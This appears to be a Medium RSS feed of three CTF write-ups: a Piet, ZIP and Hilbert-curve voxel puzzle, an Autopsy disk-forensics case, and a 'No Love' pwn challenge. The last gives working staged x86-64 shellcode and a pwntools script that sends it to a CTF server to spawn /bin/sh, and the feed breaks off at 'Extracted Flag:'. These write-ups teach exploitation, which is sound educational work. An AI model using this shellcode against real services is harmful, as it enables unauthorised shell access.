<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by kynxsoft on Medium]]></title>
        <description><![CDATA[Stories by kynxsoft on Medium]]></description>
        <link>https://medium.com/@kynxsoft?source=rss-d0dd56858f5b------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*2ag3dIKFLhtRPiPpz3vklw.gif</url>
            <title>Stories by kynxsoft on Medium</title>
            <link>https://medium.com/@kynxsoft?source=rss-d0dd56858f5b------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 18:00:59 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@kynxsoft/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Time Capsule Writeup]]></title>
            <link>https://kynxsoft.medium.com/time-capsule-writeup-661b72aeced9?source=rss-d0dd56858f5b------2</link>
            <guid isPermaLink="false">https://medium.com/p/661b72aeced9</guid>
            <category><![CDATA[red-flags]]></category>
            <category><![CDATA[misc]]></category>
            <category><![CDATA[forensics]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[r3ctf]]></category>
            <dc:creator><![CDATA[kynxsoft]]></dc:creator>
            <pubDate>Mon, 06 Jul 2026 04:06:53 GMT</pubDate>
            <atom:updated>2026-07-06T04:45:42.074Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Challenge Time Capsule</strong></p><p>Category <strong>Forensics and Misc</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9WldyqB9Lb_uPE-TchzXJQ.png" /></figure><blockquote><strong>Final flag: R3CTF{Accuracy_Brilliance_Creativity_Dedication_Equanimity_Fortitude}</strong></blockquote><p><strong>Overview</strong></p><p>Time Capsule is a forensics and misc challenge that combines several different ideas. The archive contains images audio clues network data encrypted archives and a voxel renderer. At first the files look unrelated. The correct approach is to treat them as a chain where each solved layer gives information needed by the next layer.</p><p>The challenge description talks about digital archaeology and about data hidden in many formats. That is a hint that no single tool is enough. The solver has to inspect file names file sizes visual patterns and decoded outputs. Each clue narrows the search until the final binary object can be rebuilt.</p><p>The final result is meaningful. It is not a random UUID and not a random hash. The final message comes from six QR codes that appear after the binary data is converted into a 3D voxel cube.</p><p>The final flag is R3CTF{Accuracy_Brilliance_Creativity_Dedication_Equanimity_Fortitude}.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*8e7bF9oDhGs8HAdRSbLT1A.gif" /></figure><h4><strong>Step 1 Initial archive review</strong></h4><p>The first action was to extract the archive and list the files. The archive contained many encrypted ZIP files with movie names. This could make the challenge look like a brute force problem but the names and the extra files were more useful than guessing passwords.</p><p>The important files were Secret.png SECRET.zip 2001 — A Space Odyssey.zip The Matrix.zip Star Wars.zip and voxel.html. The names show two main themes. One theme is SECRET because there is both Secret.png and SECRET.zip. The other theme is science fiction movies because several ZIP files are named after famous films.</p><p>SECRET.zip was treated as the first target because it was the only archive with a direct matching image. The movie archives were kept for later because the challenge text and the extracted note suggested that the first part was connected to the other movie archives.</p><p>The goal at this stage was not to open every file randomly. The goal was to identify which files formed a path. That path became Secret.png to SECRET.zip to part_1.bin and then movie archives to part_2.bin part_3.bin and part_4.bin.</p><h4><strong>Step 2 Notice that Secret.png is not normal steganography</strong></h4><p>Secret.png looks strange. Its dimensions are tall and narrow. The content is made from blocks of bright colors. The image does not look like a natural photo and does not look like a normal QR code or barcode.</p><p>Basic image steganography ideas such as reading least significant bits or checking color channels do not explain the structure well. The important detail is the controlled palette. The colors match the style of Piet programs.</p><p>Piet is an esoteric programming language where the source code is an image. The interpreter moves through colored regions and executes operations depending on hue and lightness changes. This means the image must be executed and not just viewed.</p><p>This is why Secret.png was the right clue for SECRET.zip. The password was not hidden as plain text inside metadata. The password was produced by running the picture as code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/65/1*cvznQz32ie5IJ2ZqI9ckOg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*DzdTlYF63xV6mThV_gk4LQ.png" /></figure><h4><strong>Step 3 Use the Piet idea to recover the first password</strong></h4><p>After recognizing the Piet structure the image was executed with a Piet interpreter. The expected tool is npiet. Running the image produced numeric output that stayed in the printable ASCII range.</p><p>Printable ASCII output is a strong sign that the result should be converted into text. After conversion the output message explained the intended clue and revealed the key.</p><p>The decoded message was Thx 2 Piet Mondrian which is the person who can help me to stop your guys just throw the problem to agent and solve it without thinking…… the key you found is P137_M0dri4n</p><p>The important value from that message is P137_M0dri4n. This value is the password for SECRET.zip.</p><p>The reference to Piet Mondrian is also meaningful. The programming language Piet is named after the painter and uses color blocks as instructions. That confirms that the identification of Secret.png as a Piet program was correct.</p><h4><strong>Step 4 Extract part_1.bin from SECRET.zip</strong></h4><p>SECRET.zip was extracted with the password P137_M0dri4n. This produced part_1.bin. The file size was exactly 1024 bytes which matched the expected size of one binary fragment.</p><p>The extraction also produced a small clue that said what you find is hidding in other movies. The grammar is not important. The meaning is important. It tells the solver that the remaining parts are hidden in the movie archives.</p><p>This prevented blind searching. Instead of trying every ZIP file the clue points toward the movie named archives that had already stood out during inspection.</p><p>At the end of this step the first quarter of the final binary payload was recovered.</p><h4><strong>Step 5 Recover part_2.bin part_3.bin and part_4.bin</strong></h4><p>The next important archives were 2001 — A Space Odyssey.zip The Matrix.zip and Star Wars.zip. These archives contained the remaining three binary fragments.</p><p>The password for these three archives was F0r7y_7w0. This key came from the earlier clue chain that involved audio and packet information. The wording connects to forty two which is a classic reference to the ultimate answer clue.</p><p>Using this password extracted part_2.bin from 2001 — A Space Odyssey.zip. It extracted part_3.bin from The Matrix.zip. It extracted part_4.bin from Star Wars.zip.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/508/1*jwtSc6-7IQ2HQcWG3dIdpQ.gif" /></figure><p>Each output file was 1024 bytes. This repeated size was important because it showed that all four parts belong to the same structure. It also showed that none of the files were corrupted or incomplete.</p><h4><strong>Step 6 Understand the meaning of the 4096 byte payload</strong></h4><p>The four files were joined in the order part_1.bin part_2.bin part_3.bin and part_4.bin. The order matters because the challenge states that the fragments are sequential.</p><p>The joined file was 4096 bytes. Since each byte has 8 bits this becomes 32768 bits. The number 32768 is not accidental. It equals 32 x 32 x 32.</p><p>This is the key mathematical observation of the challenge. A file with 32768 bits can represent a full binary cube with side length 32. Each bit can become one voxel position. A bit value of 1 can mean filled. A bit value of 0 can mean empty or background.</p><p>This explains why voxel.html was included in the archive. The final data is not meant to be read as plain text. It is meant to be transformed into a voxel model.</p><p>At this stage the problem changes from archive extraction into spatial reconstruction.</p><h4><strong>Step 7 Connect the payload to a fifth order 3D Hilbert curve</strong></h4><p>The challenge included hints about flattening and a Hilbert curve. A Hilbert curve is a space filling curve that maps a one dimensional sequence into a multidimensional shape. It is useful because points that are close in the sequence often stay close in space.</p><p>For a 3D Hilbert curve of order 5 each axis has length 2 to the power of 5. That gives a side length of 32. The total number of positions is therefore 32 x 32 x 32 which is 32768.</p><p>This matches the exact number of bits in the joined payload. That match is too precise to be coincidence. It means the payload is a bit stream that must be placed into a 32 x 32 x 32 cube by following a fifth order 3D Hilbert traversal.</p><p>For each bit index the decoder converts the Hilbert index into x y z coordinates. If the bit is set then a voxel is placed at that coordinate. If the bit is not set then the coordinate remains empty or background.</p><p>Using a normal row by row order would not make the QR faces appear correctly. The Hilbert order is required to undo the flattening.</p><h4><strong>Step 8 Prepare the JSON structure for voxel.html</strong></h4><p>After the bits were mapped into a cube the data needed to be exported in the format expected by voxel.html. The renderer did not expect a raw binary file. It expected JSON.</p><p>The structure used by the renderer is simple. Each voxel entry contains x y z and color. The first three values define position. The last value defines how the voxel is drawn.</p><p>The decoded cube was therefore converted into a JSON list. Each filled coordinate became a JSON entry. The resulting file could be imported into voxel.html to display the reconstructed object.</p><p>This step is also a validation step. If the bit order or curve order is wrong the JSON still imports but the visual output looks like noise. With the correct Hilbert mapping the cube shows readable QR patterns.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*JK1rE4LkPduneesC1D5VJg.png" /></figure><h4><strong>Step 9 Render the 3D voxel cube</strong></h4><p>The generated JSON was imported into the voxel renderer. The result was a 3D cube made from the decoded bits. The cube was not random. Its faces contained QR like patterns.</p><p>The 3D view proves that the recovered binary data had the correct structure. The renderer makes the hidden geometry visible. This is the point where the final layer of the challenge becomes clear.</p><p>The QR patterns were placed on several faces of the cube. This explains why a 3D representation was needed. Looking at only the raw bytes or only a single 2D slice would not fully reveal the final answer.</p><p>The challenge note said that the final order should be A through F. The next step was to read the six faces in that order.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/409/1*CwMakNPo0RSiasiGh-s2bw.png" /></figure><h4><strong>Step 10 Decode the six QR faces</strong></h4><p>The six QR faces were extracted from the voxel cube. Each face contained one word. The words were not random. They were positive abstract nouns and each one started with a different letter from the ordered labels.</p><p>The decoded values were A Accuracy. B Brilliance. C Creativity. D Dedication. E Equanimity. F Fortitude.</p><p>The order is important. Reading the words in the wrong order would still produce understandable words but it would not match the intended flag sequence. The challenge statement specifically tells the solver to use A through F.</p><p>This stage turns the geometry result into a final text result.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/885/1*vu9qjDDdm28GcJwhjtk9Nw.png" /></figure><p><strong>Step 11 Assemble the final flag</strong></p><p>The QR words were joined with underscores. The result was wrapped in the challenge flag format.</p><p>The final flag is R3CTF{Accuracy_Brilliance_Creativity_Dedication_Equanimity_Fortitude}.</p><p>This final flag is meaningful because it is made from the six QR words. It also confirms that all previous stages were solved in the correct order.</p><p><strong>Conclusion</strong></p><p>The challenge is a layered reconstruction puzzle. The first layer is visual program analysis. Secret.png is a Piet program and gives the first ZIP password. The second layer is archive extraction. The four encrypted archives produce four equal binary fragments.</p><p>The third layer is size analysis. Four fragments of 1024 bytes become one file of 4096 bytes. That equals 32768 bits. The number matches a 32 x 32 x 32 cube.</p><p>The fourth layer is curve decoding. The bits are not stored in normal order. They are flattened through a fifth order 3D Hilbert curve. Reversing that curve reconstructs the hidden cube.</p><p>The fifth layer is rendering. voxel.html reveals the needed JSON structure and renders the decoded coordinates as a 3D voxel model. The final layer is QR reading. The six faces give the six words that form the final flag.</p><p>The complete solution path is Secret.png then Piet output then SECRET.zip then part_1.bin then the movie archives then the joined 4096 byte payload then 3D Hilbert decoding then voxel JSON then QR scanning then the final flag.</p><p>Author profile</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/365/1*MeVw50v7Cg0eCoGgVFwE9Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/0*u2vMreKChrC1v7aO.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=661b72aeced9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Disk Image Forensics Write Up]]></title>
            <link>https://kynxsoft.medium.com/disk-image-forensics-write-up-40ebaa3345e8?source=rss-d0dd56858f5b------2</link>
            <guid isPermaLink="false">https://medium.com/p/40ebaa3345e8</guid>
            <category><![CDATA[crypto]]></category>
            <category><![CDATA[dfir]]></category>
            <category><![CDATA[crypteractf]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[kynxsoft]]></dc:creator>
            <pubDate>Sat, 09 May 2026 19:43:59 GMT</pubDate>
            <atom:updated>2026-05-09T19:45:07.097Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*21sAA86UnL8UXi7TRUIRlg.png" /></figure><p><em>Recovering a Deleted Encrypted Archive with Autopsy and CyberChef</em></p><p><strong>Challenge summary :</strong>A workstation disk image appeared to contain ordinary cleanup and handover files. The objective was to find an important item that had been removed before review. The investigation recovered a deleted encrypted ZIP file from the NTFS file system. The password was reconstructed from Base64 clues found in browser history and PowerShell history. The decrypted token revealed the final flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/0*g3OLQLlldXmMIR-S.gif" /></figure><h3>Figure 1. Starting a new Autopsy case</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EV5QIE73U4CsdnZB-QUsgA.png" /><figcaption><em>Screenshot 1 evidence view</em></figcaption></figure><h3>Explanation and steps</h3><p>This screenshot shows the first New Case Information window in Autopsy. A new case is required so Autopsy can store the database search hits extracted files and analysis results in one organized folder.</p><p>The case type was kept as Single User because the evidence is one workstation disk image. The base directory points to the working folder where the case data will be stored.</p><p>At this stage the investigator only needs to choose a clear case name and press Next. No command line work is required.</p><h3>Figure 2. Confirming the case folder</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GCaTXvMPiPj89SL9hlSyaQ.png" /><figcaption><em>Screenshot 2 evidence view</em></figcaption></figure><h3>Explanation and steps</h3><p>This screenshot shows the same case information step with the working folder selected. The base directory is important because Autopsy will create its case database inside that location.</p><p>A simple case name such as disk_forensics is enough. The optional page can be left empty because the challenge does not require examiner information or agency information.</p><p>After confirming the case name and location the next action is to press Next and then Finish on the optional information page.</p><h3>Figure 3. Creating the case database</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a_pS_P3S5J2bwp0ww21CbA.png" /><figcaption><em>Screenshot 3 evidence view</em></figcaption></figure><h3>Explanation and steps</h3><p>Autopsy started creating the case database. This database stores parsed file system records artifact results and keyword search data.</p><p>The progress window must finish before adding the evidence. Waiting here avoids partial setup and keeps the investigation stable.</p><p>After the database is created Autopsy opens the Add Data Source wizard.</p><h3>Figure 4. Selecting the host option</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d9dlt-ZSU0sK3qwXd9in1w.png" /><figcaption><em>Screenshot 4 evidence view</em></figcaption></figure><h3>Explanation and steps</h3><p>Autopsy asked how to organize the host. The default option Generate new host name based on data source name was selected.</p><p>This option is correct for a single disk image because the host name can be generated automatically from the evidence source.</p><p>No custom host name is needed. Pressing Next moves to the data source type and file selection stages.</p><h3>Figure 5. Choosing the disk image as evidence</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QjYgbVow6-nXahGjD0uLjg.png" /><figcaption><em>Screenshot 5 evidence view</em></figcaption></figure><h3>Explanation and steps</h3><p>The raw disk image DISK.dd was selected as the data source. This is the extracted disk image from the provided challenge ZIP file.</p><p>The timezone was set to Asia Amman. This makes file times easier to read in the local investigation context. Sector size was left as Auto Detect because Autopsy can identify the file system layout automatically.</p><p>The BitLocker password and hash fields were left empty because the image was readable and no known hash set was needed.</p><h3>Figure 6. Adding the disk image</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L5igrD72Hfa_ETReuyXG0w.png" /><figcaption><em>Screenshot 6 evidence view</em></figcaption></figure><h3>Explanation and steps</h3><p>Autopsy began adding the selected DISK.dd file to the case. This step reads the partition table and prepares the file system for analysis.</p><p>The message about known file search not being executed is not a problem. It only means no known hash database was supplied.</p><p>The important part is that the disk image is now being processed and file analysis will begin after the data source is added.</p><h3>Figure 7. Initial analysis progress</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8DGdRhKrCrhlWns_vuYOsg.png" /><figcaption><em>Screenshot 7 evidence view</em></figcaption></figure><h3>Explanation and steps</h3><p>The disk image was successfully added and Autopsy started ingest analysis. The left panel now shows Data Sources File Views Data Artifacts Analysis Results OS Accounts Tags and Reports.</p><p>The progress bar at the bottom shows that analysis is still running. Even while it is running Autopsy can already show some file system entries and deleted files.</p><p>For best results it is better to wait until analysis reaches a higher percentage before relying on all artifacts.</p><h3>Figure 8. Opening File Views</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ukNZlbhbWNnQXs3giqcpVQ.png" /><figcaption><em>Screenshot 8 evidence view</em></figcaption></figure><h3>Explanation and steps</h3><p>The File Views section groups evidence into useful categories. This is faster than manually browsing every folder in the file system.</p><p>Because the challenge says something important may have been removed before review the Deleted Files category is the most relevant place to check first.</p><p>Opening Deleted Files prepares the investigation to find files that were removed from the workstation before review.</p><h3>Figure 9. Finding the deleted archive</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*96YwVhl9XfI7ZoczL3oO1Q.png" /><figcaption><em>Screenshot 9 evidence view</em></figcaption></figure><h3>Explanation and steps</h3><p>Inside File Views then Deleted Files then File System Autopsy displayed a deleted ZIP archive named Possible_Flag_.zip.</p><p>The file is marked as deleted and unallocated. This means the file was removed from the active file system but its content was still recoverable from the disk image.</p><p>The archive size is about 49945 bytes which confirms it is not an empty artifact. This was the key recovered item.</p><h3>Figure 10. Saving the recovered deleted file</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tL7k5Bp5oAgGTDt31l_fUA.png" /><figcaption><em>Screenshot 10 evidence view</em></figcaption></figure><h3>Explanation and steps</h3><p>The deleted file was extracted from Autopsy to an Export folder. This creates a safe copy of Possible_Flag_.zip outside the disk image.</p><p>The original filename was kept so the recovered evidence can be matched to the Autopsy result.</p><p>After saving the file the next step is to open the archive and inspect its contents.</p><h3>Figure 11. Opening the recovered archive</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0z6p5x-TtMlbkzmVXlDT4w.png" /><figcaption><em>Screenshot 11 evidence view</em></figcaption></figure><h3>Explanation and steps</h3><p>Windows Explorer opened the recovered ZIP archive and showed three files named attachment.bin case_context and final_review_token.</p><p>The Password column showed Yes. This proves that the archive contents are encrypted and require a password.</p><p>At this point the investigation changes from deleted file recovery to password clue recovery.</p><h3>Figure 12. Entering the ZIP password</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FXntJec3OVtB7yl2EbMENg.png" /><figcaption><em>Screenshot 12 evidence view</em></figcaption></figure><h3>Explanation and steps</h3><p>When final_review_token was opened Windows requested a password. This confirmed that the file could not be read until the correct archive password was recovered.</p><p>The password was not brute forced. Instead the investigation looked for user activity artifacts such as browser history and PowerShell history.</p><p>This method is better in a forensic challenge because the password was intentionally hidden in the disk artifacts.</p><h3>Figure 13. Recovering the final token</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8x16Uh1mZCD920BkYiKzfg.png" /><figcaption><em>Screenshot 13 evidence view</em></figcaption></figure><h3>Explanation and steps</h3><p>After entering the correct password the final_review_token text file opened successfully.</p><p>The text content revealed the flag CrypteraCTF{Y0u_4r3_Th3_B3st_D1g1t4L_F0r3ns1cs}. If the challenge platform is case sensitive the flag should be copied exactly as it appears in the recovered token.</p><p>This confirms that the lost item was the deleted encrypted archive and that the decrypted token was the final objective.</p><h3>Figure 14. Reviewing normal metadata artifacts</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9Ix1aMlX7_UaDjqxHluyEA.png" /><figcaption><em>Screenshot 14 evidence view</em></figcaption></figure><h3>Explanation and steps</h3><p>The Metadata artifact view showed ordinary files such as report_attachment_index.pdf and cleanup_summary.pdf.</p><p>These files match the cleanup and handover theme in the challenge description. They provide context but do not directly reveal the password.</p><p>The useful password clues were found later in browser and PowerShell artifacts rather than in these normal PDF metadata entries.</p><h3>Figure 15. Searching for the first password clue</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LXteQsKYulYbcmscC35mIg.png" /><figcaption><em>Screenshot 15 evidence view</em></figcaption></figure><h3>Explanation and steps</h3><p>A keyword search was run for data_b64. Autopsy found one result inside a browser History artifact.</p><p>The preview contained data_b64=MHhLSEE=. The parameter name indicates that the value is Base64 encoded.</p><p>The value MHhLSEE= was copied as the first encoded password clue.</p><h3>Figure 16. Opening the keyword hit list</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cVWFBsMBc6SwfBsWRFio5g.png" /><figcaption><em>Screenshot 16 evidence view</em></figcaption></figure><h3>Explanation and steps</h3><p>Autopsy placed the result under Analysis Results then Keyword Hits then Single Literal Keyword Search then data_b64.</p><p>This view confirms that the data_b64 search had one hit. The source name was History which points to browser activity.</p><p>Finding this clue in web history shows that part of the password was left in a visited URL or internal portal link.</p><h3>Figure 17. Reading the first encoded value</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TlDi-8tPMIB6o1kc7MUFQQ.png" /><figcaption><em>Screenshot 17 evidence view</em></figcaption></figure><h3>Explanation and steps</h3><p>The detailed preview showed data_b64=MHhLSEE=&amp;mode=preview.</p><p>Only the value after data_b64= is decoded. The value is MHhLSEE=.</p><p>Decoding MHhLSEE= from Base64 gives 0xKHA. This became the first part of the ZIP password.</p><h3>Figure 18. Searching for the second password clue</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QFJG74Bk8eJy5Sg7KVx-fg.png" /><figcaption><em>Screenshot 18 evidence view</em></figcaption></figure><h3>Explanation and steps</h3><p>A second keyword hit was found in ConsoleHost_history.txt. This file is PowerShell command history stored under the user profile in AppData Roaming Microsoft Windows PowerShell PSReadLine.</p><p>The text pane showed a PowerShell command using FromBase64String with the value TElMMjAwNCE=.</p><p>This is a strong clue because the user previously decoded a Base64 string. The value TElMMjAwNCE= was copied for decoding.</p><h3>Figure 19. Decoding the second clue in CyberChef</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zcuz0Qi9FJzrVQsN8BfxjA.png" /><figcaption><em>Screenshot 19 evidence view</em></figcaption></figure><h3>Explanation and steps</h3><p>CyberChef was used with the From Base64 operation. The input was TElMMjAwNCE= from the PowerShell history file.</p><p>The output was LIL2004!. This was the second part of the archive password.</p><p>The full password was created by joining 0xKHA from browser history with LIL2004! from PowerShell history. The final password was 0xKHALIL2004!.</p><h3>Complete Investigation Flow</h3><p>1. Create a new case in Autopsy and add DISK.dd as a disk image data source.</p><p>2. Wait for ingest analysis to identify file system entries deleted files and artifacts.</p><p>3. Open File Views then Deleted Files then File System.</p><p>4. Locate Possible_Flag_.zip which is marked as deleted and unallocated.</p><p>5. Extract Possible_Flag_.zip from Autopsy to a local export folder.</p><p>6. Open the ZIP archive and confirm that the internal files are password protected.</p><p>7. Search Autopsy for data_b64 and find MHhLSEE= in Chrome History.</p><p>8. Decode MHhLSEE= with CyberChef From Base64 to get 0xKHA.</p><p>9. Search for the PowerShell Base64 value TElMMjAwNCE= inside ConsoleHost_history.txt.</p><p>10. Decode TElMMjAwNCE= with CyberChef From Base64 to get LIL2004!.</p><p>11. Join the two decoded strings to form 0xKHALIL2004!.</p><p>12. Use the password to extract final_review_token and read the final flag.</p><h3>Conclusion</h3><p>The lost item was not an active visible document. It was a deleted encrypted ZIP archive recovered from the NTFS file system. The archive password was not guessed. It was reconstructed from two Base64 artifacts left in workstation history. This is why the solution depends on both deleted file recovery and user activity analysis.</p><p>Final flag: CrypteraCTF{Y0u_4r3_Th3_B3st_D1g1t4L_F0r3ns1cs}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*BT5TMItqWGgi-hj1JrVqbQ.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=40ebaa3345e8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Solving the ‘No Love’ Challenge — Staged Shellcode in a Tight Space]]></title>
            <link>https://kynxsoft.medium.com/solving-the-no-love-challenge-staged-shellcode-in-a-tight-space-fbdaddea29a0?source=rss-d0dd56858f5b------2</link>
            <guid isPermaLink="false">https://medium.com/p/fbdaddea29a0</guid>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[cyber-eto]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[kynxsoft]]></dc:creator>
            <pubDate>Thu, 19 Mar 2026 15:54:17 GMT</pubDate>
            <atom:updated>2026-03-19T21:07:40.222Z</atom:updated>
            <content:encoded><![CDATA[<p>Solving the ‘No Love’ Challenge — Staged Shellcode in a Tight Space</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5NlEHA1NZRu5s3lJ" /></figure><p>In the world of Binary Exploitation challenges, we often encounter constraints that make the execution of malicious code (Shellcode) a complex task. In this article, I will provide a detailed solution to the “No Love” challenge, a Buffer Overflow scenario with a very strict limitation: only 11 bytes available for the shellcode.</p><p>This write-up is aimed at those interested in cybersecurity and exploit development. We will explore how to overcome severe space limitations using the Staged Shellcode technique.</p><p>1. Challenge Overview</p><p>• Challenge Name: No Love</p><p>• Points: 500</p><p>• Type: Pwn / Binary Exploitation</p><p>• Objective: Obtain a shell to read the flag.txt file.</p><p>• Connection: nc 161.97.155.116 3322</p><p>Upon connecting to the server, we receive the following message:</p><pre>$ nc 161.97.155.116 3322<br>Welcome to the NO Love.....<br>Send me your shellcode (max 11 bytes):</pre><p>The message is clear: the program requests shellcode, but imposes a maximum limit of 11 bytes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/304/1*qzoyB8mE_rRoQ-r_PuWUIQ.gif" /></figure><p><strong>2. Problem Analysis: Why is 11 Bytes a Significant Constraint?</strong></p><p>In the x86_64 (or amd64) architecture, a standard shellcode that executes the execve(“/bin/sh”, 0, 0) syscall to spawn an interactive shell typically requires between 22 to 30 bytes.</p><p>For instance, a simplified assembly code to open a shell looks like this</p><pre>xor rsi, rsi              ; 3 bytes<br>push rsi                  ; 1 byte<br>mov rdi, 0x68732f2f6e69622f ; 10 bytes<br>push rdi                  ; 1 byte<br>push rsp                  ; 1 byte<br>pop rdi                   ; 1 byte<br>push 0x3b                 ; 2 bytes<br>pop rax                   ; 1 byte<br>cdq                       ; 1 byte<br>syscall                   ; 2 bytes</pre><p>Total: 23 bytes.</p><p>Since only 11 bytes are available, sending this code in one go is impossible. This highlights the need for an alternative strategy.</p><p><strong>3. Solution Strategy: Staged Shellcode</strong></p><p>To overcome this limitation, we employ a technique known as Staged Shellcode. The idea is to divide the attack into two stages:</p><p>1 Stage 1: Send a very small shellcode (within the 11-byte limit) whose sole purpose is to read more data from the user (via the connection), store it in memory, and then jump to execute it.</p><p>2 Stage 2: Send the full shellcode (which spawns the shell) to be read and executed by Stage 1.</p><p>Building Stage 1 Shellcode</p><p>We need to write assembly code that performs the read syscall (syscall number 0 in Linux x86_64). The read syscall requires three arguments:</p><p>• rdi: File Descriptor, which will be 0 (i.e., stdin).</p><p>• rsi: The memory address where we will read the data (we will use the stack pointer rsp).</p><p>• rdx: The number of bytes to read (we will choose a sufficiently large number, such as 100).</p><p>Here is the code designed to be exactly 11 bytes:</p><pre>| Code (Hex) | Assembly | Functional Description |<br>| --- | --- | --- |<br>| `31 c0` | `xor eax, eax` | Clears the `eax` register (syscall number 0: `read`). |<br>| `54` | `push rsp` | Pushes the current stack pointer (`rsp`) onto the stack. |<br>| `5e` | `pop rsi` | Pops the value into `rsi`. `rsi` now points to the stack (storage location). |<br>| `6a 64` | `push 100` | Pushes the value 100 (read size) onto the stack. |<br>| `5a` | `pop rdx` | Pops the value into `rdx`. `rdx` = 100. |<br>| `0f 05` | `syscall` | Executes `read(0, rsp, 100)`. The program now waits for our input. |<br>| `ff e4` | `jmp rsp` | Jumps to the beginning of the newly read data for execution. |</pre><p>This code is exactly 11 bytes!</p><p>Building Stage 2 Shellcode</p><p>Once Stage 1 is executed, the program will wait for new input. At this point, we send the standard shellcode that spawns a shell (23 bytes), which will be stored on the stack and immediately executed thanks to the jmp rsp instruction.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/1*YVbgLL12J_66I2JFCUESTA.gif" /></figure><p><strong>4. Exploit Script:</strong></p><p>To automate this process, we used the pwntools library in Python. The following script connects to the server, sends Stage 1, then sends Stage 2, and finally interacts with the shell to extract the flag.</p><pre>#!/usr/bin/env python3<br>from pwn import *<br>import time<br><br># Set architecture context<br>context.arch = &#39;amd64&#39;<br><br># 1. Connect to the server<br>print(&quot;[+] Connecting to target...&quot;)<br>io = remote(&#39;161.97.155.116&#39;, 3322)<br><br># Receive the welcome message<br>io.recvuntil(b&#39;bytes:&#39;)<br><br># 2. Prepare and send Stage 1 (11 bytes)<br># xor eax, eax | push rsp | pop rsi | push 100 | pop rdx | syscall | jmp rsp<br>stage1 = b&#39;\x31\xc0\x54\x5e\x6a\x64\x5a\x0f\x05\xff\xe4&#39;<br>print(f&quot;[+] Sending Stage 1 ({len(stage1)} bytes)...&quot;)<br>io.send(stage1)<br><br># Short delay to ensure read syscall is executed<br>time.sleep(0.3)<br><br># 3. Prepare and send Stage 2 (23 bytes)<br># execve(&quot;/bin/sh&quot;, 0, 0)<br>stage2 = b&#39;\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05&#39;<br>print(f&quot;[+] Sending Stage 2 ({len(stage2)} bytes)...&quot;)<br>io.send(stage2)<br><br># 4. Interact with the shell and extract the flag<br>print(&quot;[+] Shell spawned! Extracting flag...&quot;)<br>time.sleep(0.5)<br>io.sendline(b&#39;cat flag.txt&#39;)<br><br># Print the result<br>response = io.recvall(timeout=2)<br>print(&quot;\n[Flag Output]:&quot;)<br>print(response.decode().strip())<br><br>io.close()</pre><p><strong>5. Final Result</strong></p><p>Upon running the script, both stages are executed successfully, granting us a shell from which we can read the flag.txt file.</p><p>Extracted Flag: 